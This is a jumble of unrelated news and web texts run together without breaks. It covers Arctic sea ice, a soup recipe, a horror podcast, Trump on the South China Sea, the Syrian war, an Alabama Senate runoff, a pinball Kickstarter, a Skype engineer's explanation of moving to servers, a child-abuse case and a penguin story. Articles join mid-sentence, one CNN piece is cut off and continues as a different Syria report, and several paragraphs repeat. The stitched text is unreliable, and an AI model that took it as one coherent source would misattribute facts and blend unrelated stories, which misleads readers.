Bob Ward of the Grantham Research Institute on Climate Change and the Environment at the London School of Economics said: "The gradual disappearance of ice at the poles is having profound consequences for people, animals and plants in the polar regions, as well as around the world, through sea level rise."
The National Snow and Ice Data Center (NSIDC) said the maximum level of sea ice for winter was reached this year on 25 February and the ice was now beginning to melt as the Arctic moved into spring.
The amount measured at the end of February is 130,000 sq km below the previous record winter low, measured in 2011.
An unusually warm February in parts of Alaska and Russia may have contributed to the dwindling sea ice, scientists believe.
Researchers will provide the monthly average data for March in early April, which is viewed as a better indicator of climate effects.
Nasa scientist Walt Meier said: "The amount of ice at the maximum is a function of not only the state of the climate but also ephemeral and often local weather conditions.
"The monthly value smoothes out these weather effects and so is a better reflection of climate effects."
Analysis by David Shukman, Science editor, BBC News
The Arctic Ocean freezes every winter and much of the sea-ice then thaws every summer, and that process will continue whatever happens with climate change. Even if the Arctic continues to be one of the fastest-warming regions of the world, it will always be plunged into bitterly cold polar dark every winter. And year-by-year, for all kinds of natural reasons, there's huge variety of the state of the ice.
So what does this new record for the lowest level of winter ice actually mean?
For a start, it does not automatically follow that a record amount of ice will melt this summer. More important for determining the size of the annual thaw is the state of the weather as the midnight sun approaches and temperatures rise. But over the more than 30 years of satellite records, scientists have observed a clear pattern of decline, decade-by-decade.
So at some point this century the summers are on course to be clear of ice, opening up new shipping lanes, making it easier to access the region's oil and gas and possibly also altering the path of the jet stream that drives our weather. So the matter of when all this might happen is the subject of intense research.
Meanwhile, at the other end of the world, researchers are puzzling over the growth of sea-ice around parts of Antarctica. Overall, there is a fall in the global total of sea-ice but with lots of questions about its pace.
Commenting on the data, Alexander Shestakov, director of the WWF Global Arctic Programme, said: "This is not a record to be proud of.
"Low sea ice can create a series of reactions that further threaten the Arctic and the rest of the globe."Fall is here! As much as it is nice to have the warm, summer weather, my preference has always been for fall. Cooler weather and football are some of my favorite things in the world. Along with the changing weather comes the occasional cold, so we wanted to make a hearty recipe as a response.
Even if a seasonal cold comes along and tries to get us down, we know we have soothing home remedies to help us through. Our latest: this chicken zoodle soup. Like the traditional chicken noodle soup your grandma would have made from scratch, this soup takes some time but is worth the investment.
Ingredients
4 lb whole chicken
3 carrots, peeled and chopped
3 stalks of celery, chopped
1 large white onion, diced
5 cloves of garlic
salt & pepper
8 C water
1 bay leaf
1/2 tsp thyme
1/8 tsp white pepper
1-2″ chopped zoodles from 1 zucchini
Method
Preheat the oven to 425ºF. Meanwhile, eighth the chicken and place the pieces into a large cast iron pot. Dust with salt and pepper.
Roast the chicken in the oven for 20 to 25 minutes. Next, add water to the pot, bring it to a boil over medium-high heat and boil for 5 minutes.
Then, remove all the chicken except for the backbone and add the onion, garlic, carrot, celery, and bay leaf to the pot. Reduce heat and simmer for 45 minutes.
Meanwhile, shred the chicken and throw away any bones. Also, prepare your zoodles.
Once the stock has completed simmering, carefully remove the bones that remain in it with a slotted spoon. Then, reintroduce the chicken and add the zoodles.
Simmer for 5 minutes.
Printer-Friendly Recipe!ABOUT ‘A NEW WINTER’ PODCAST
It’s the winter of 2000 in a small village in the UK and a family have been brutally murdered in suspicious circumstances. The only evidence is one set of footprints in the snow leading to the murder scene – but nothing leaving it. This is a man’s first hand account of what happened in this brutal winter where over 25 people were murdered or had disappeared.
A New Winter is fast becoming one of the most popular audiodrama podcasts of today. A chilling, surreal, unpredictable, horrifying tale that delves into your deepest nightmares and leaves you wanting to go further down the rabbit hole.
Once you enter, you may never leave …
With over 800k listens so far, and 4-5 Star Reviews on Apple Podcasts, A New Winter is one of the most exciting podcasts around.
ABOUT THE HOST
Based in the UK, Sam LeGassick is a Producer, Director, Writer, Musician and Father, who has a history of working in Film, TV, and Advertising.
You can buy his first book ‘The Legacy of Gaea: The Underworld‘, watch his award-winning short film ‘Bloom‘ or his award-winning comedy series ‘Rich Keeble Vanity Project‘ for which he won Best Supporting Actor at the ISA 2017 ceremony. You may have even noticed him on popular UK C4 series ‘The IT Crowd’.
If music is your thing, you can listen to his solo stuff as Le Gassique here on Spotify, or his band ‘CELLS‘ and ‘Pistol Gang & The Preacher‘.(CNN) US President Donald Trump has offered his services as a "mediator and arbitrator" over disputed territorial claims South China Sea issue, one of the most pressing issues for many of Asia's leaders.
Speaking to his Vietnamese counterpart, Tran Dai Quang in Hanoi, Trump said he could employ his diplomatic skills to help Asian nations come to an agreement over competing maritime claims.
"I can help mediate and arbitrate. Please let me know," Trump said. "I know you've had a dispute for quite a while with China, if I can help in any way, I'm a very good mediator and a very good arbitrator."
"I've done plenty of it from both sides, so if I can help you, let me know," he added.
In a joint news conference, Quang said he had "shared my thoughts with (Trump) on the recent developments in this area and it is our policy to settle disputes in the South China Sea through peaceful negotiations, and with respect for diplomatic and legal process in accordance with international law, including the 1982 UN Convention on the Law of the Sea."
China is claimant to swathes of ocean, extending far outside its internationally agreed 200-mile economic exclusion zone (EEZ). Several other Asian nations hold overlapping claims to areas of ocean and shoals, islands and sandbars, making the issue a regional flashpoint.
Trump is in Vietnam for a state visit and to attend meetings of the Asia-Pacific Economic Cooperation (APEC) group.
Following the conclusion of the APEC meetings, many attendees will next head to Manila, where a meeting of members of the Association of Southeast Asian Nations (ASEAN) will commence.
Regional issue
Whilst in Vietnam, Chinese Premier Xi Jinping also discussed the South China Sea issue with Philippine President Rodrigo Duterte, which has claims in the region.
Ahead of the next regional meetings, the ASEAN summit in Manila, Chinese state media reported that Xi pledged to work with China's ASEAN partners "to maintain peace and stability, as well as development and prosperity."
The report added that Duterte had pledged that his nation will handle "maritime issues through bilateral channels in accordance with the consensus reached by the two sides."
Ahead of his trip to Vietnam, Duterte said he would ask his Chinese counterpart what Beijing's intentions in the region are.
"You want to control the passage, or do we have free passage? Unbridled, undisturbed, unmolested while we use that small way from the Indian Ocean... facing Palawan," Duterte said, referencing the southern Philippines province which juts out into the South China Sea.
Duterte also said he "might" raise the issue of the South China Sea dispute with Trump, alongside trade, Islamic extremism and terrorism, according to a statement.
Ahead of his visit to Vietnam, Xi also said that China and Vietnam -- another claimant -- need to "stay committed to seeking a fundamental and durable solution to their maritime issues acceptable to both sides through friendly consultation," he is quoted as saying in Chinese state media. He added that the two need to "jointly uphold peace and stability" in the region.
JUST WATCHED US destroyer sails near China-claimed island Replay More Videos... MUST WATCH US destroyer sails near China-claimed island 01:47
Disputed zone
Dotted with small islands, reefs and shoals, the South China Sea is a crucial shipping route and home a messy territorial dispute that pits multiple countries against one another.
Tensions in the contested waters have ratcheted up since 2014 as China has turned sandbars into islands, equipping them with airfields, ports and weapons systems and warned US warships and aircraft to stay away from them.
JUST WATCHED Report: Weapons installed on contested islands Replay More Videos... MUST WATCH Report: Weapons installed on contested islands 03:18
China, Taiwan, Vietnam, the Philippines, Malaysia and Brunei all have competing claims to various island chains in the South China Sea.
US position
Briefing reporters in Beijing during the China leg of Trump's Asia tour, US Secretary of State Rex Tillerson said the US view on the maritime dispute hadn't changed -- that "claimants should stop construction and militarization" of disputed islands.
He said that Trump and Xi had discussed ways to "prevent mishaps, misunderstandings and miscalculations" in the vital seaway.
At a joint statement with the two leaders in Beijing, Xi told Trump the Pacific Ocean was "big enough to accommodate both China and the United States."
Since Trump took office, priorities in the region lie elsewhere, with US focus largely on containing the North Korean threat.
While China is frustrated with the intractable nuclear standoff, the US focus on it does afford China "a lot of strategic opportunities," Harry Kazianis, director of Defense Studies at the Center for the National Interest told CNN ahead of Trump's Asia trip.
"(US) Foreign policy in Asia has had its oxygen sucked out the room," he said. "The South China Sea, Taiwan, the East China |
face the “harshest reaction” if it tried to capture a town near the Turkish border.
Russian air support for the Syrian government offensive has transformed the balance of power in the five-year-old war in the past three weeks.
World powers meeting in Munich last week agreed to a pause in the fighting, but that is not set to begin until the end of this week and was not signed by the warring Syrian parties.
The U.N. Syria envoy, Staffan de Mistura, held talks with Syria’s foreign minister on Tuesday aimed at securing a cessation of hostilities and said Damascus had a duty to let the world body bring in humanitarian aid.
Damascus says its objectives are to recapture Aleppo, Syria’s biggest city before the war, and seal off the border with Turkey that has served as the main supply route into rebel-held territory for years.
Those would be the government’s biggest victories of the war so far and probably end rebel hopes of overthrowing President Bashar al-Assad by force, their objective since 2011 with the encouragement of the West, Arab states and Turkey.
SYRIAN MILITARY GAINS
Kurdish forces continued their push eastwards toward Islamic State-held territory northeast of Aleppo.
The Syrian Observatory for Human Rights, a British-based group which monitors the war, said the Kurdish-backed Syria Democratic Forces (SDF) - of which the YPG is a part - took a village near the town of Marea. That is the last major settlement before territory held by the radical militants stretching into Iraq.
The Syrian army also made advances, with state media saying it had taken two villages north of Aleppo near the town of Tal Rifaat, which fell to the SDF on Monday. With the help of Russian air strikes it also advanced from the coastal city of Latakia, fighting to take the town of Kansaba.
With hundreds of thousands trapped in areas the government aims to seize, Turkey and others accuse Moscow of deliberately firing on civilian targets such as hospitals to force residents to flee and depopulate territory.
Almost 50 civilians were killed when missiles hit at least five medical facilities and two schools in rebel-held areas on Monday, according to the United Nations, which called the attacks a blatant violation of international law.
At least 14 were killed in the northern town of Azaz, the last rebel stronghold before the border with Turkey north of Aleppo. Prime Minister Ahmet Davutoglu said a Russian missile was responsible and vowed that Turkey would not let Azaz fall into YPG hands.
Russia’s foreign ministry said Turkey was using Azaz as a supply route for Islamic State and “other terrorist groups”, while the Kremlin strongly rejected Turkish accusations it had committed a war crime after the missile strikes.
“We categorically do not accept such statements, the more so as every time those making these statements are unable to prove their unfounded accusations in any way,” President Vladimir Putin’s spokesman Dmitry Peskov told reporters.
“Our relations (with Turkey) are in a deep crisis. Russia regrets this. We are not the initiators of this.”
DOUBTS OVER GROUND TROOPS
The advances by the YPG risk creating friction between Turkey and its allies, including the United States.
Ankara sees the Syrian Kurdish militia as an extension of the Kurdistan Workers Party (PKK) which has fought a three-decade insurgency for Kurdish autonomy in Turkey’s southeast. But the United States sees the YPG as one of the few effective ground forces fighting Islamic State militants in Syria, and has lent the group military support.
Slideshow (3 Images)
Washington has so far ruled out sending its own ground troops into Syria, apart from small numbers of special forces.
Sunni Arab Gulf states including Saudi Arabia and the United Arab Emirates (UAE) said this month they were ready to send ground forces as part of an international coalition against Islamic State, providing Washington takes the lead.
But Turkey’s focus on the YPG means it cannot necessarily count on support from NATO, which, while reluctant to pressure Ankara in public, is working behind closed doors to discourage it from targeting the Kurds and escalating with Russia.Iran played a key role as a mediator during the UN-backed talks, Hezbollah chief Hassan Nasrallah said on Friday.
Under the conditions of the deal, rebels besieged by government forces in the town of Zabadani would be given safe passage to other rebel-controlled areas.
In return, rebel leaders would allow "the evacuation of 10,000 civilians from the villages of Fuaa and Kafraya to zones controlled by the regime," Nasrallah told Hezbollah's Al-Manar television.
Sunni rebels attacked the two villages after government forces laid siege to Zabadani in July.
"There will be no more fighters in Zabadani," Nasrallah said on Friday.
Low on ammo
Militant cleric Abdullah al-Muhaysini, who is linked to the rebel Nusra Front, said Sunni militants would leave Zabadani with their weapons.
Anti-regime forces had to accept the deal because of the "reality on the ground," the cleric said, adding that the rebels were low on ammunition after months of conflict.
Civilians in the Zabadani area were also free to go to the rebel-controlled Idlib province, if they so chose, Hezbollah commander Nasrallah said on Friday.
However, the truce conditions would not force people to relocate, he added.
No to 'demographic change'
Civilians from Fuaa and Kafraya are expected to be relocated by the Red Cross over the weekend, according to a source close to the talks, cited by the AFP news agency.
Thousands of Shiites would be settled in a government-controlled suburb of Damascus, the London-based Syrian Observatory for Human Rights also said.
Previously, regime critics have accused Syrian President Bashar Assad of trying to empty the territory of Sunnis by moving the population around.
The director of the monitoring group, Rami Abdurrahman, also criticized reports of a large-scale population transfer.
"We are for a ceasefire, but against any demographic change," he said.
dj/lw (AFP, AP)This Society Hill home on Delancey Street had us at "rooftop pool."
But before we get ahead of ourselves, here are the stats: It's a 7,742-square-foot property with five bedrooms, five full baths, and three half baths.
Now for the good stuff. Here are all of the private amenities that come with the 5-story home:
Rooftop pool and hot tub
Underground parking for six cars
Movie theater
Elevator
Indoor/outdoor fireplaces
Greenhouse
Private deck and patio
According to the listing, designing and building this unique home included a collaborative team of architects, designers, and artisans. Much of the details in the home were handcrafted and commissioned, including the Texas limestone for the facade, the mahogany and glass steps, and the mosaic glass tiles in the kitchen and master bath.
It's the first time the home, which is on two lots, has been listed since 2000, according to public property records.
The asking price on this grand home is $6,888,000, making it the fifth most expensive home for sale in Philly.The Alabama Republican Senate primary for Jeff Sessions' old seat is testing the influence of President Donald Trump as appointed-U.S. Sen. Luther Strange is struggling to keep his seat as he faces former Alabama Supreme Court chief justice Roy Moore in a runoff.
Despite endorsements from Trump, Sessions, and the Republican Party, Strange will face a runoff with Moore, Fox News reported. Since neither received 50 percent of the vote in the crowded primary, they will face each other one-on-one Tuesday.
Strange, the state's attorney general before replacing Sessions when Trump tapped him as the country's attorney general, joined a lawsuit against the Obama administration that challenged the former president's executive order on amnesty for undocumented immigrants, Fox News said.
Past controversies have appeared to only elevate Moore, a Christian conservative, who was removed twice from being Alabama's chief justice.
He was ousted from the position the first time in 2003 for refusing to remove a 5,280-pound granite Ten Commandments monument from the rotunda of the state judicial building, Fox News noted.
He restarted his political career in 2012, getting elected chief justice again, but was suspended in 2016 after he directed probate judges not to issue marriage certificates to gay couples in defiance of the U.S. Supreme Court ruling. Fox News noted.
Despite the actions, Moore won 39 percent of the vote in the August primary compared to Strange's 33 percent, Fox News stated. He has received the backing of former vice presidential candidate Sarah Palin and former White House chief strategist Steve Bannon.
Trump has used his social media microphone on Twitter to support Strange.
I will be in Huntsville, Alabama, on Saturday night to support Luther Strange for Senate. "Big Luther" is a great guy who gets things done! — Donald J. Trump (@realDonaldTrump) September 16, 2017
Alabama is sooo lucky to have a candidate like "Big" Luther Strange. Smart, tough on crime, borders & trade, loves Vets & Military. Tuesday! — Donald J. Trump (@realDonaldTrump) September 20, 2017
In a debate Thursday night, Strange touted over and over again his connection with Trump and how the president was supporting him, AL.com reported.
Moore was cheered at the debate when he "practically bragged" about his two removals from the Alabama Supreme Court because he claimed he was sticking up for religious liberty, AL.com stated.- Investigators say hundreds of unattended lit candles caused a huge fire that burned through a Buddhist temple in Oakland, and also destroyed 2 neighboring homes.
The candles were part of a traditional Buddhist new year's celebration.
Firefighters responded to an emergency call around 2 a.m. Tuesday, about a fire at the Oakland Cambodian
Buddhist Temple on East 10th Street and 52nd Avenue.
Flames quickly spread to an unoccupied house on the back of the property, and to the house next door. A total of
18 people were forced out by the flames, including several monks who live at the temple. Three people suffered minor injuries.
Firefighters credit working smoke detectors, for likely saving lives.
A monk tells KTVU Fox 2 reporter Alex Savidge, that they will rebuild. Asked if he was upset, the monk said, "this is how life is."Pinball Gremlins is a new original pinball machine that features everything you like about pinball. Built with industry standard parts you can trust, Pinball Gremlins features multiple orbits, three ramps, pop bumpers, slingshots, and new features. Plus it incorporates new proprietary technology that we think will really improve the game. Full color DMD display, plus LCD screens within your field of view allow you to follow your progress better than ever before.
Because this is not a licensed theme, our designers had the freedom to design the best possible game, without the traditional constraints manufacturers face when using licensed intellectual properties. With Pinball Gremlins, you’ll face 6 different main modes battling the attacks of gremlins and the chaos they can wreck, before facing the Boss Gremlin wizard mode. We’ve packed plenty of surprises in the game and other side modes so you’ll never get bored.
The one thing that separates the Pinball Gremlins from the rest of the pinball machines is it’s unique game modes and features. Our focus is on making the shots and combos incredibly fun, while providing for a deep ruleset that builds gradually as you play. We are creating entirely new game modes, targets, and features.
Pinball Gremlins has all your normal pinball modes, like multiplier buildup, hurry up shots, and your main game modes. It’s how we approach them that makes them different. Here are just a few of the ideas.
Gearhead Concept Art
“Gearhead” Mode: After Gearhead is overloading the pinball system, the player must keep up and hit as many switches as possible to keep the pinball machine from “overheating” in 30s.
After Gearhead is overloading the pinball system, the player must keep up and hit as many switches as possible to keep the pinball machine from “overheating” in 30s. “CrossWire” Mode: After CrossWire tampers with the system, visible on the DMD, the flippers will be reversed, you’ll have to restore the game to it’s normal functioning while playing backwards.
CrossWire Concept Art
Lights Out: Once you hit the saucer, the ball is held and a gremlin comes on the DMD and starts pulling on wires. A person yells out “There goes the power!” and the machine goes completely dark. Player will have to hit the power switch target, to complete the mode. During Lights Out no points are scored until the switch has been hit. If the ball is drained during lights out mode no bonus will be award.
Once you hit the saucer, the ball is held and a gremlin comes on the DMD and starts pulling on wires. A person yells out “There goes the power!” and the machine goes completely dark. Player will have to hit the power switch target, to complete the mode. During Lights Out no points are scored until the switch has been hit. If the ball is drained during lights out mode no bonus will be award. Murphy's Law: Anything that can go will go wrong! Coils will fire randomly, pop up targets, will block shots, the toys will activate, and the lights go crazy. The flipper activated may rotate and not correlate to the button pressed Players must keep ball in play for 60s. Of course there are No Flipper Holds.
"Pilot" Gremlin Concept Art
Gremlin Attack: On the playfield gremlin hands may come out and attempt to grab your ball or block shots, while the DMD shows a gremlin attacking your score. To stop your score from being lowered, you must complete the necessary shots, despite the on playfield interference.
This game was designed to allow for the deep rule set and interactivity that pinball players love and with modern features to attract more gamers to the pinball community.
Lower Playfield Concept
Focused on Ball Flow – Designed with ball flow in mind it contains both an inner and outer orbit plus three ramp shots.
Full Color Display – ColorDMD display allows for amazing graphics and animations, instead of a single color as seen on most pinball machines.
Interactive Toys on the Playfield – The game will be packed with gremlin models, including Gremlin that grab or interfere with the ball.
Completely Original Theme – We aren’t constrained in our imagination to fit a theme or idea of a license.
Full LED lighting – Utilizes bright, long lasting LEDs for all playfield lighting and illumination to make the machine stand out in a dimly lit gameroom.
We're using Kickstarter because we see it as an incredible opportunity to get pinball players involved in the development of the game right from the beginning. You get to come behind the scenes, feel an ownership of the game, and be a part of the development process.
Since graduating from the University of Missouri, Von Davis has been working on designing the perfect pinball machine layout. To fulfill the vision he’s been developing for many years, he took it upon himself to build a physical prototype of the new game. In house beta testing of virtual versions of the game have demonstrated that this flow focused game, with unique mode interruptions, is incredibly fun, but it still needs to be improved and polished. The whitewood is done, the art is nearly done, and we are currently finishing the design of props and new features.
We want to add more modes, more features, and never before seen technologies, as well as truly create more than a game. We want to create an entire atmosphere of pinball perfection, where every element works to take the player deeper into the game. To make this into a fully realized and polished game, we need the financial support to continue the development further. Most importantly, we need the support to ensure that our production methods are perfected and a production line can be built, so that we can avoid the delays that other start-up companies have faced, when producing their first machine.
We'll use the money for:
Music, Sound, and Effects: We’ve contracted with Midnight Syndicate, to provide the sound. We'd love to continue working with them going into the future. They are experts in creating horror music and audio environments for haunted houses and amusement parks, such as Universal Studios, Cedar Point, Six Flags and more. They are the perfect people to create intense, engaging sound for the Pinball Gremlins.
We’ve contracted with Midnight Syndicate, to provide the sound. We'd love to continue working with them going into the future. They are experts in creating horror music and audio environments for haunted houses and amusement parks, such as Universal Studios, Cedar Point, Six Flags and more. They are the perfect people to create intense, engaging sound for the. Modeling and Animations: We contracted a concept artist to help us with look and feel and working with him has been great. But turning this static artwork into animations is not cheap and the costs add up quickly. We will work with a number of 3D modeling professionals to create models of artwork that can be used to create the highest quality playfield toys and can be used to create killer looking animations.
We contracted a concept artist to help us with look and feel and working with him has been great. But turning this static artwork into animations is not cheap and the costs add up quickly. We will work with a number of 3D modeling professionals to create models of artwork that can be used to create the highest quality playfield toys and can be used to create killer looking animations. Additional Game Mode Development: We’d love to bring more experienced talent, including more industry pros like Barry Oursler to our team. The kind of experience that an industry veteran can give us with insight into production and assistance with game modes, will result in an even better game.
We’d love to bring more experienced talent, including more industry pros like Barry Oursler to our team. The kind of experience that an industry veteran can give us with insight into production and assistance with game modes, will result in an even better game. Further Development of New Technologies: We have been working on a number of innovative features that could really add to the game. These include utilizing a patent pending type of switchable glass that is capable of displaying graphics during game play or providing new innovative game modes (like blind play) as well as new secondary LCD screens, both of which we’d love to include on the game.
We have been working on a number of innovative features that could really add to the game. These include utilizing a patent pending type of switchable glass that is capable of displaying graphics during game play or providing new innovative game modes (like blind play) as well as new secondary LCD screens, both of which we’d love to include on the game. Stipends: We'll need to take minimal-survival-level salaries, and our hope is that the success of the game will allow us be profitable enough to make other games after we ship Pinball Gremlins.
We'll need to take minimal-survival-level salaries, and our hope is that the success of the game will allow us be profitable enough to make other games after we ship Pinball Gremlins. Polish: Any funding in excess of our goal will be invested into refining the game even further. If we're able to surpass our initial goal, we have several stretch goals we'll be excited to announce!
Vonnie D Pinball is an independent start-up pinball manufacturer and the vision of two pinball and arcade enthusiasts dedicated to bringing pinball to the next level. We are located in Columbia, Missouri and hope to revolutionize pinball with new and original designs. But who are we?
We met through our passion for pinball while working on various arcade projects games. We really became friends, while playing pinball in the Columbia Pinball League. We’ve spent many countless nights designing our playfield and getting all the parts to we need to build the next generation pinball machine. We are both incredibly passionate about fusing beautiful design with engaging gameplay, and we're putting our past game industry experience right into the development of Pinball Gremlins.
We do however recognize that we cannot do it alone. We needed to find the best talent in the industry to fill in holes, if we were to going to tackle this project in a reasonable time frame. Here’s who we found:
Sample Images - Actual Rewards May Look Different Than Shown
THE PRIVATE DISCUSSION COMMUNITY:
Everyone who backs the project (first tier and higher) will be a part of a private discussion community. You'll be the first to know of any news or details about the game as its being developed. You'll also be able to provide your feedback and suggestions as the project progresses.
THE PRIVATE LIST:
Everyone who backs the project (first tier and higher) will receive news about the game before anyone else. As soon as we have prototypes on location, we’ll release the locations to you before anyone else, so you can be one of the first to try it out, and we can get your feedback on what we need to improve before the actual release.
Plus, we're offering two limited edition machines, exclusive to Kickstarter.
The Kickstarter Edition & The Gold Edition.
$200,000 - LCD Screen
We'll add a patent pending full color LCD screen to the pinball machines apron, as a way to make it easier to see your current modes, bonuses, and score.
This screen would allow for advertising and other information, such as pricing to be displayed, when the game is in not in use.
$300,000 - Online Player Accounts
The custom boards on our machine have an included Wi-Fi card. We’ve developed a method for creating an Internet connected pinball machine that could be used for worldwide online tournaments and for tracking player stats across a network, and possibly even online player versus modes.
We set this as a stretch goal, but we want to spend the proper time and effort to get it right. This includes proper protection against cheating and a secure and usable platform, which is why additional funding is required.
$500,000 - Switchable Color Changing Glass
We have another patent pending, this one for glass that can instantly become opaque during selected game modes. This would allow the Gremlins to make it difficult for you to play, for example by flickering the glass to a color of something besides clear, thereby forcing you to relay on visual snapshots of the balls position to play through the mode. It would also offer us the ability to offer blind modes in ways that Tommy couldn't dream about. In the future, we hope to release pins that utilize this glass as a screen.---------- Forwarded message ---------- From: *Matthew Kaufman* Date: Saturday, June 22, 2013 Subject: Skype / NSA To: [email protected]
Dave, for IP:
I'm a long-time IP list reader and also Principal Architect for Skype, and I'd like to address a few of the things below...
*Ridgely Evers* wrote:
John,
That's a fine distinction; the fact is that the management of Skype -- even when they were owned by eBay -- told the US Government to stick it, and got away with it.
I'm obviously not in a position to comment on what Skype can and cannot log or intercept, nor how and when that data (if any) is passed on to third parties. Microsoft has made statements about this aspect already.
The very architecture of Skype made that relatively easy to do. From its inception all communications were strongly encrypted. In addition, it was peer-to-peer, making it nearly impossible to wiretap.
As a consequence, people who were concerned about privacy -- including many of us in the security industry -- used Skype for secure communications.
Both eBay and Silverlake maintained this architecture, as well as the Luxembourg HQ.
Since being acquired by Microsoft, however, the service has been re-architected to run through MSFT-owned servers, rendering encryption functionally meaningless and making it just as easy as POTS to monitor.
None of this -- neither the $7.5B acquisition itself, nor the decision to move to a datacenter model -- make strategic or business sense for Microsoft as far as I can tell.
It's not the first really dumb thing they've done, but it makes me suspicious, especially in light of recent news.
Ok, so I take issue with it being "really dumb", and I'd like to explain why:
First is actually a more subtle issue... the Skype peer-to-peer network architecture elected certain nodes to be "supernodes", to help maintain the index of peers as well as handle parts of the NAT/firewall traversal for other peers. This election algorithm chose only machines with open Internet connectivity, substantial uptime, and which were running the latest version of our peer-to-peer code. The last bit unfortunately meant that most of the time, the election winners were a monoculture of Windows desktop machines running the latest Windows Skype client. This proved to be a problem when not once, but twice a global Skype network outage was caused by a crashing bug in that client... bootstrapping the network back into existence afterwards was painful and lengthy, and that is in part why Skype has switched to server-based "dedicated supernodes"... nodes that we control, can handle orders of magnitudes more clients per host, are in protected data centers and up all the time, and running code that is less complex that the entire client code base. (And this conversion started well before the Microsoft acquisition was even announced, during the Silverlake era.)
The second is really what is driving Skype to move not just the supernodes but actually many other parts of our calling and messaging infrastructure "to the cloud", and that is the amazing growth of mobile and tablet computing. The Skype peer-to-peer network, and many of its functions (such as instant messaging) was built for a world where almost every machine is powered by a wall socket, plugged into broadband Internet, and on for many hours a day.
Over the past few years, the number of Skype users who are using Skype from iOS-based phones and tablets, Android-based phones and tablets, Windows Phone-based phones, and Windows RT tablet devices has gone from a tiny percentage to a significant fraction of our user base. And these devices are a lot different: they're running on battery, sometimes on WiFi but often on expensive (both in money and battery) 2G or 3G data networks, and essentially "off" most of the time. On iOS devices, applications are killed and evicted from memory when they attempt to do too much background processing or use too much memory. On Windows RT and Windows 8 Modern applications, when the application is not in the foreground we only get a few seconds of CPU execution time every 15 minutes and again, strict memory limitations if we want to stay loaded. And when the Skype application is unloaded, it can no longer receive incoming calls or IMs, rendering it a lot less useful.
If you've tried to use Skype on a mobile device, especially if you have a lot of contacts or a lot of IM conversations, you'll discover that it rapidly becomes a battery-powered hand warmer, and drains the battery faster that probably any other well-known application out there. And this is because it, until recently, was participating as a full node on our peer-to-peer network... exchanging packets regularly (over your 3G radio, most likely) with every single one of your contacts to keep presence status updated, exchanging packets with everyone in every IM conversation to keep those conversations synchronized, etc.
And you probably also have started to notice things like missed IM delivery, as the peer-to-peer delivery algorithm requires that both the sender and the receiver be running at the same time in order to deliver a message... not a problem with two broadband-attached always-on PCs, but rare if you're both on Windows Phone or Windows RT tablets that only run that algorithm when the application is in the foreground or for 3-5 seconds after it is backgrounded.
How do we solve that for our users? Servers. Lots of them, and more and more often in the Windows Azure cloud infrastructure. In the case of instant messaging, we have merged the Skype and Windows Messenger message delivery backend services, and this now gets you delivery of messages even when the recipient is offline, and other nice features like spam filtering and malicious URL removal. For calling, we have the dedicated supernodes already, and additional services to help calls succeed when the receiving client is asleep and needs a push notification to wake up. And over time you will see more and more services move to the Skype cloud, offloading memory and CPU requirements from the mobile devices everyone wants to enjoy to their fullest and with maximum battery life.
Making this transition has been difficult and taken the hard work of hundreds of developers, especially to make it as seamless as possible for users who don't particularly care how we get it done or that we are changing it... but I would say that it makes strategic and business sense to be doing, otherwise we wouldn't bother, and I hope the above at least partially explains why I think that.
Matthew KaufmanThree months after one of the worst child abuse cases in Los Angeles County history. The victim has finally been laid to rest.
Eleven-year-old Yonatan Aguillar weighed just 34 pounds when police found him in a family closet in Echo Park.
Some of the people who came to pay their last respects were members of Yonatan’s family and others.who never met him.
Next to a small white casket were many photographs of a bright-eyed boy enjoying much happier moments.
Yonatan’s step father Jose Pizon held back tears as he recalled better days with his boy.
“We used to play together and we used to go out for pizza and share together,” Pizon said. “I really loved him and I miss him.”
Back in August, authorities located the boy in the fetal position wrapped in a blanket in the closet so small he couldn’t extend his feet. It appeared he had been dead for several hours, detectives said.
Detectives said the boy was emaciated, had little hair and open sores on his body, all signs of years of abuse. The condition of the boy was so disturbing that counseling was offered to those who were at the crime scene.
FULL COVERAGE: Echo Park Child Abuse Death
Four years before, when reports of possible child abuse were reported, Yonatan’s mother Veronica Aguilar, who was a volunteer at the school and attended parenting classes, was able to convince his teachers, counselors, coaches, medical staff and social workers that her son was safe in her home. Then, when Yonatan stopped showing up for school, his mother told people he had gone to live in an institution in Mexico.
The Department Of Children And Family Services has been investigating how the case slipped through the cracks.
Yonatan’s mother Veronica Aguillar is in the county jail charged with her son’s murder. Her preliminary hearing is scheduled to begin next month.Estonian Foreign Minister Sven Mikser at the meeting with his Danish counterpart Anders Samuelsen expressed hope in cooperating with Denmark to support the fight against corruption in Ukraine on September 14th, informs LETA/BNS.
"Reducing corruption in Eastern Partnership countries is our common goal," Mikser was quoted by spokespeople as saying. "We would like to participate in a project led by Denmark in Ukraine so that corruptibility would decrease in the country and the country would stay on the European path," he added.
The topics discussed at Thursday's meeting were the relationship between Estonia and Denmark, the EU Eastern Partnership initiative and the situation in Ukraine as well as the contribution of Danish soldiers to the increased presence of the allies in Estonia.
According to Mikser, the contribution of Denmark to the allied presence in Estonia is very important to the country. "Estonia's relationship with Denmark is very good and it is also proven by the fact that 200 Danish soldiers will arrive here at the start of next year to support the presence of allies in Estonia," Mikser said. The Danish unit will replace a French unit at the start of 2018 as part of NATO's enhanced forward presence.
The Danish minister also expressed interest in Estonia's experience with dealing with false news and disinformation. They also discussed Estonia's EU presidency and Brexit.
From Estonia the Danish minister proceeded to Latvia.In an apparent world first, the newest chick in a Danish zoo’s King penguin colony has two dads. “This year has been extraordinary,” zoologist Nina Christensen told the Star on Thursday.
The keepers tested the gay penguins’ parenting skills on a ball, then tried them with the abandoned egg. They were natural parents, the zoo said. ( Courtesy Ard Joungsma / Odense Zoo )
Odense Zoo keepers realized two of their male King penguins were a couple about a year ago, she said. Then they noticed the gay penguins would try to “disturb the other pairs and steal their eggs.” So far, not too odd. Penguins and swans in the wild do the same thing. In brooding season, though, the gay penguins took to trying to incubate dead herring.
Article Continued Below
“The keepers realized they seriously wanted to stay with an egg.” As fortune would have it, a female penguin started acting oddly as well. She’d already delivered an egg with one male then dumped him and produced another with a different, already mated, male. Then she dumped him and abandoned the egg. In the lifetime monogamy of the King penguin world, this was “extraordinary,” said Christensen. “Now we have an extra egg and this pair that have been standing with fishes.” The keepers tested the gay penguins’ parenting skills on a ball, then tried them with the abandoned egg. They were, said Christensen, natural parents.
“With King penguins, they mix it between the male and female. One stands with the egg while the other goes to feed and then they shift. It was the same with this pair. They both incubated the egg.” Happy feet.
Article Continued Below
